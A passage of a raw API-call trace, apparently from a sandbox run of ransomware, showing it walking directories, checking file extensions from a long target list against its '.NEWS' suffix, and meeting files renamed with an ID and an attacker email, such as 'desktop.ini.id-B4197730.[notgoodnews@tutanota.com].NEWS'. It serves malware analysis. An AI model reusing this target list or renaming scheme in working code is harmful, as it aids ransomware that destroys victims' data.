[0156.937] lstrlenW (lpString=".csv") returned 4 [0156.937] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".cub") returned 4 [0156.937] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dae") returned 4 [0156.937] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dat") returned 4 [0156.937] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".db") returned 3 [0156.937] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0156.937] lstrlenW (lpString=".dbf") returned 4 [0156.937] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dbx") returned 4 [0156.937] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dc3") returned 4 [0156.937] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dcm") returned 4 [0156.937] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dcr") returned 4 [0156.937] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".der") returned 4 [0156.937] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dib") returned 4 [0156.937] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dic") returned 4 [0156.937] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".dif") returned 4 [0156.937] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".divx") returned 5 [0156.938] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".djvu") returned 5 [0156.938] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".dng") returned 4 [0156.938] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".doc") returned 4 [0156.938] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".docm") returned 5 [0156.938] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".docx") returned 5 [0156.938] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".dot") returned 4 [0156.938] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dotm") returned 5 [0156.938] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".dotx") returned 5 [0156.938] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0156.938] lstrlenW (lpString=".dpx") returned 4 [0156.938] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dqy") returned 4 [0156.938] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dsn") returned 4 [0156.938] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dt") returned 3 [0156.938] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0156.938] lstrlenW (lpString=".dtd") returned 4 [0156.938] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dwg") returned 4 [0156.938] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dwt") returned 4 [0156.938] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0156.938] lstrlenW (lpString=".dx") returned 3 [0156.939] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0156.939] lstrlenW (lpString=".dxf") returned 4 [0156.939] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".edml") returned 5 [0156.939] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0156.939] lstrlenW (lpString=".efd") returned 4 [0156.939] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".elf") returned 4 [0156.939] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".emf") returned 4 [0156.939] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".emz") returned 4 [0156.939] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".epf") returned 4 [0156.939] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".eps") returned 4 [0156.939] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".epsf") returned 5 [0156.939] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0156.939] lstrlenW (lpString=".epsp") returned 5 [0156.939] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0156.939] lstrlenW (lpString=".erf") returned 4 [0156.939] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".exr") returned 4 [0156.939] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".f4v") returned 4 [0156.939] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".fido") returned 5 [0156.939] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0156.939] lstrlenW (lpString=".flm") returned 4 [0156.939] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".flv") returned 4 [0156.939] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".frm") returned 4 [0156.939] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0156.939] lstrlenW (lpString=".fxg") returned 4 [0156.940] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".geo") returned 4 [0156.940] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".gif") returned 4 [0156.940] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".grs") returned 4 [0156.940] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".gz") returned 3 [0156.940] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0156.940] lstrlenW (lpString=".h") returned 2 [0156.940] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0156.940] lstrlenW (lpString=".hdr") returned 4 [0156.940] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".hpp") returned 4 [0156.940] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".hta") returned 4 [0156.940] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".htc") returned 4 [0156.940] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".htm") returned 4 [0156.940] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".html") returned 5 [0156.940] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0156.940] lstrlenW (lpString=".icb") returned 4 [0156.940] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".ics") returned 4 [0156.940] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".iff") returned 4 [0156.940] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".inc") returned 4 [0156.940] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".indd") returned 5 [0156.940] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0156.940] lstrlenW (lpString=".ini") returned 4 [0156.940] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0156.940] lstrlenW (lpString=".iqy") returned 4 [0156.940] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".j2c") returned 4 [0156.941] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".j2k") returned 4 [0156.941] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".java") returned 5 [0156.941] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0156.941] lstrlenW (lpString=".jp2") returned 4 [0156.941] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpc") returned 4 [0156.941] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpe") returned 4 [0156.941] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpeg") returned 5 [0156.941] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpf") returned 4 [0156.941] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpg") returned 4 [0156.941] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".jpx") returned 4 [0156.941] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".js") returned 3 [0156.941] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0156.941] lstrlenW (lpString=".jsf") returned 4 [0156.941] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".json") returned 5 [0156.941] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0156.941] lstrlenW (lpString=".jsp") returned 4 [0156.941] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".kdc") returned 4 [0156.941] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".kmz") returned 4 [0156.941] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".kwm") returned 4 [0156.941] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0156.941] lstrlenW (lpString=".lasso") returned 6 [0156.941] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0156.942] lstrlenW (lpString=".lbi") returned 4 [0156.942] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".lgf") returned 4 [0156.942] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".lgp") returned 4 [0156.942] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".log") returned 4 [0156.942] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".m1v") returned 4 [0156.942] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".m4a") returned 4 [0156.942] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".m4v") returned 4 [0156.942] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".max") returned 4 [0156.942] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".md") returned 3 [0156.942] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0156.942] lstrlenW (lpString=".mda") returned 4 [0156.942] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mdb") returned 4 [0156.942] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mde") returned 4 [0156.942] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mdf") returned 4 [0156.942] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mdw") returned 4 [0156.942] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mef") returned 4 [0156.942] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mft") returned 4 [0156.942] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mfw") returned 4 [0156.942] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mht") returned 4 [0156.942] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0156.942] lstrlenW (lpString=".mhtml") returned 6 [0156.942] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0156.943] lstrlenW (lpString=".mka") returned 4 [0156.943] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mkidx") returned 6 [0156.943] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0156.943] lstrlenW (lpString=".mkv") returned 4 [0156.943] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mos") returned 4 [0156.943] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mov") returned 4 [0156.943] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mp3") returned 4 [0156.943] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mp4") returned 4 [0156.943] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mpeg") returned 5 [0156.943] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0156.943] lstrlenW (lpString=".mpg") returned 4 [0156.943] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mpv") returned 4 [0156.943] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mrw") returned 4 [0156.943] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".msg") returned 4 [0156.943] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".mxl") returned 4 [0156.943] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".myd") returned 4 [0156.943] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".myi") returned 4 [0156.943] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".nef") returned 4 [0156.943] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".nrw") returned 4 [0156.943] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".obj") returned 4 [0156.943] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0156.943] lstrlenW (lpString=".odb") returned 4 [0156.944] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".odc") returned 4 [0156.944] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".odm") returned 4 [0156.944] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".odp") returned 4 [0156.944] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".ods") returned 4 [0156.944] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".oft") returned 4 [0156.944] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".one") returned 4 [0156.944] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".onepkg") returned 7 [0156.944] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0156.944] lstrlenW (lpString=".onetoc2") returned 8 [0156.944] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0156.944] lstrlenW (lpString=".opt") returned 4 [0156.944] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".oqy") returned 4 [0156.944] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".orf") returned 4 [0156.944] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".p12") returned 4 [0156.944] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".p7b") returned 4 [0156.944] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".p7c") returned 4 [0156.944] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".pam") returned 4 [0156.944] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".pbm") returned 4 [0156.944] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".pct") returned 4 [0156.944] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".pcx") returned 4 [0156.944] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0156.944] lstrlenW (lpString=".pdd") returned 4 [0156.945] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pdf") returned 4 [0156.945] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pdp") returned 4 [0156.945] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pef") returned 4 [0156.945] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pem") returned 4 [0156.945] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pff") returned 4 [0156.945] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pfm") returned 4 [0156.945] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pfx") returned 4 [0156.945] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pgm") returned 4 [0156.945] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".php") returned 4 [0156.945] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".php3") returned 5 [0156.945] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0156.945] lstrlenW (lpString=".php4") returned 5 [0156.945] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0156.945] lstrlenW (lpString=".php5") returned 5 [0156.945] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0156.945] lstrlenW (lpString=".phtml") returned 6 [0156.945] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0156.945] lstrlenW (lpString=".pict") returned 5 [0156.945] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0156.945] lstrlenW (lpString=".pl") returned 3 [0156.945] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0156.945] lstrlenW (lpString=".pls") returned 4 [0156.945] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pm") returned 3 [0156.945] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0156.945] lstrlenW (lpString=".png") returned 4 [0156.945] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0156.945] lstrlenW (lpString=".pnm") returned 4 [0156.946] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pot") returned 4 [0156.946] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".potm") returned 5 [0156.946] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".potx") returned 5 [0156.946] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".ppa") returned 4 [0156.946] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".ppam") returned 5 [0156.946] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".ppm") returned 4 [0156.946] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pps") returned 4 [0156.946] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".ppsm") returned 5 [0156.946] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".ppt") returned 4 [0156.946] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pptm") returned 5 [0156.946] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".pptx") returned 5 [0156.946] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0156.946] lstrlenW (lpString=".prn") returned 4 [0156.946] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".ps") returned 3 [0156.946] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0156.946] lstrlenW (lpString=".psb") returned 4 [0156.946] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".psd") returned 4 [0156.946] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pst") returned 4 [0156.946] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".ptx") returned 4 [0156.946] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pub") returned 4 [0156.946] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0156.946] lstrlenW (lpString=".pwm") returned 4 [0156.947] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0156.947] lstrlenW (lpString=".pxr") returned 4 [0156.947] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0156.947] lstrlenW (lpString=".py") returned 3 [0156.947] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0156.947] lstrlenW (lpString=".qt") returned 3 [0156.947] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0156.947] lstrlenW (lpString=".r3d") returned 4 [0156.947] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0156.947] lstrlenW (lpString=".raf") returned 4 [0156.947] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0156.947] lstrlenW (lpString=".rar") returned 4 [0156.947] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0156.947] lstrlenW (lpString=".raw") returned 4 [0156.947] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0156.947] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37979f15, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37979f15, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 0 [0156.947] FindClose (in: hFindFile=0x484858 | out: hFindFile=0x484858) returned 1 [0156.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38a1450 | out: hHeap=0x420000) returned 1 [0156.947] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0156.947] FindClose (in: hFindFile=0x4845d8 | out: hFindFile=0x4845d8) returned 1 [0156.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0156.947] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0156.948] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0156.948] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3891448 [0156.948] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484198 [0157.146] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.147] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0157.147] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.147] FindFirstFileW (in: 